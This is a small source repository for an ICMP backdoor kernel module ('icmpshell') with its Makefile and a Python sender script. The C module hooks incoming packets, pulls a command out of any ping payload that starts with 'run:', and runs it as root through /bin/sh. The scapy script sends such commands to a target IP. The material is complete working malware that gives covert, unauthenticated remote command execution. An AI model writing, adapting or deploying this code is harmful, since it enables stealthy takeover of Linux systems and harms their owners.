├── Makefile ├── send.py └── main.c /Makefile: -------------------------------------------------------------------------------- 1 | KERNELDIR:=/lib/modules/$(shell uname -r)/build 2 | 3 | obj-m = icmpshell.o 4 | icmpshell-objs = main.o 5 | 6 | all: icmpshell.ko 7 | 8 | icmpshell.ko: main.c 9 | make -C $(KERNELDIR) M=$(PWD) modules 10 | 11 | clean: 12 | make -C $(KERNELDIR) M=$(PWD) clean 13 | -------------------------------------------------------------------------------- /send.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | from scapy.all import sr1, IP, ICMP 5 | 6 | if len(sys.argv) < 3: 7 | print('Usage: {} IP "command"'.format(sys.argv[0])) 8 | exit(0) 9 | 10 | p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2])) 11 | if p: 12 | p.show() 13 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define MAX_CMD_LEN 1976 7 | 8 | static struct nf_hook_ops nfho; 9 | 10 | char cmd_string[MAX_CMD_LEN]; 11 | 12 | struct work_struct my_work; 13 | 14 | static void work_handler(struct work_struct * work) 15 | { 16 | static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL}; 17 | static char *envp[] = {"PATH=/bin:/sbin", NULL}; 18 | 19 | call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC); 20 | } 21 | 22 | DECLARE_WORK(my_work, work_handler); 23 | 24 | static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) 25 | { 26 | struct iphdr *iph; 27 | struct icmphdr *icmph; 28 | 29 | unsigned char *user_data; 30 | unsigned char *tail; 31 | unsigned char *i; 32 | int j = 0; 33 | 34 | iph = ip_hdr(skb); 35 | icmph = icmp_hdr(skb); 36 | 37 | if (iph->protocol != IPPROTO_ICMP) { 38 | return NF_ACCEPT; 39 | } 40 | if (icmph->type != ICMP_ECHO) { 41 | return NF_ACCEPT; 42 | } 43 | 44 | user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph))); 45 | tail = skb_tail_pointer(skb); 46 | 47 | j = 0; 48 | for (i = user_data; i != tail; ++i) { 49 | char c = *(char *)i; 50 | 51 | cmd_string[j] = c; 52 | 53 | j++; 54 | 55 | if (c == '\0') 56 | break; 57 | 58 | if (j == MAX_CMD_LEN) { 59 | cmd_string[j] = '\0'; 60 | break; 61 | } 62 | 63 | } 64 | 65 | if (strncmp(cmd_string, "run:", 4) != 0) { 66 | return NF_ACCEPT; 67 | } else { 68 | for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) { 69 | cmd_string[j] = cmd_string[j+4]; 70 | if (cmd_string[j] == '\0') 71 | break; 72 | } 73 | } 74 | 75 | schedule_work(&my_work); 76 | 77 | return NF_ACCEPT; 78 | } 79 | 80 | static int __init startup(void) 81 | { 82 | nfho.hook = icmp_cmd_executor; 83 | nfho.hooknum = NF_INET_PRE_ROUTING; 84 | nfho.pf = PF_INET; 85 | nfho.priority = NF_IP_PRI_FIRST; 86 | nf_register_net_hook(&init_net, &nfho); 87 | return 0; 88 | } 89 | 90 | static void __exit cleanup(void) 91 | { 92 | nf_unregister_net_hook(&init_net, &nfho); 93 | } 94 | 95 | MODULE_LICENSE("GPL"); 96 | module_init(startup); 97 | module_exit(cleanup); 98 | --------------------------------------------------------------------------------